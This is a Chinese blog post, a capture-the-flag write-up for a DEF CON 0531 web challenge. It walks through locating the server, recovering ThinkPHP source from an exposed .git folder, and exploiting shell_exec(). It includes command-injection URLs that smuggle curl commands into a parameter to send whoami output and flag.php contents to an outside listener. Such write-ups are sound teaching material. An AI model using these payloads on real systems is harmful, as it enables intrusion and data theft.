defcon 0531 web1(微信公众号web题) writeup

作者: print("") 分类: 信息安全 发布时间: 2018-06-18 14:25

defcon 0531 web1(微信公众号web题) writeup

题目要求关注denfcon 0531公众号,关注上去了,按照题目要求输入DC0531,得到题目。

有点迷,真的有点迷。什么找到武器,拿起武器,装好武器,射向你的目标,检查你的武器状态,上传你的武器。太迷了。。
仔细想了一下,这个题目,输入s:可能会访问输入的目标。

试了一下,用python开了一个simplehttpserver,发现没有回显。。可能是ping,用tcpdump抓ICMP协议的数据包。

root@d1:~# tcpdump -i eth0 icmp

再从微信号发起指令,发现有ip向我发了icmp的包,成功抓到了公众号接口的ip

发现,主页写着 welcome DC0531。-.-那就真的无误了。扫了一下,发现有git泄露。

用GitHack工具,下载到了源码。

看了一下源码,发现是ThinkPHP,翻了一下,定位到了接口控制器的php文件。、 
/Application/Home/Controller/TestController.class.php(附件会上传源码)

仔细看了一下代码,找到了危险的函数。shell_exec()

想了一下,可以定义这个PicUrl变量,代码执行。不过还要仔细分析一下,当前这个环境,怎么构造这个payload。
因为是ThinkPHP方式,可以用他的路由方法直接指向这个控制器。
所以构造了payload:
http://139.198.3.171/?c=test&a=u&PicUrl=localhost;curl%20http://ip/whoami|base64

payload中这个c的参数的意思是Controller,c=test,指向了TestController.class.php这个控制器。a=u,a是action,action=u,在TestController.class.php里构造u这个动作,传入$PicUrl这个变量。

这个payload可以成功执行,但是没有回显。
用python开一个简易的http,可以看到回显。

root@d1:~# python -m SimpleHTTPServer 80 

原理详见:https://blog.csdn.net/qq_27446553/article/details/73927518

base64解码以后,看见是www-data用户权限。

仔细找了一下,可以直接cat到flag,payload:

http://139.198.3.171/?c=test&a=u&PicUrl=localhost;curl%20http://ip/cat%20flag.php|base64

解码后得到flag

附大佬writeup,另一种组合拳解法:http://sec2hack.com/ctf/dc0531-ctf-writeup.html

源码附件地址:http://www.o2oxy.cn/wp-content/uploads/2018/06/源码.zip

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注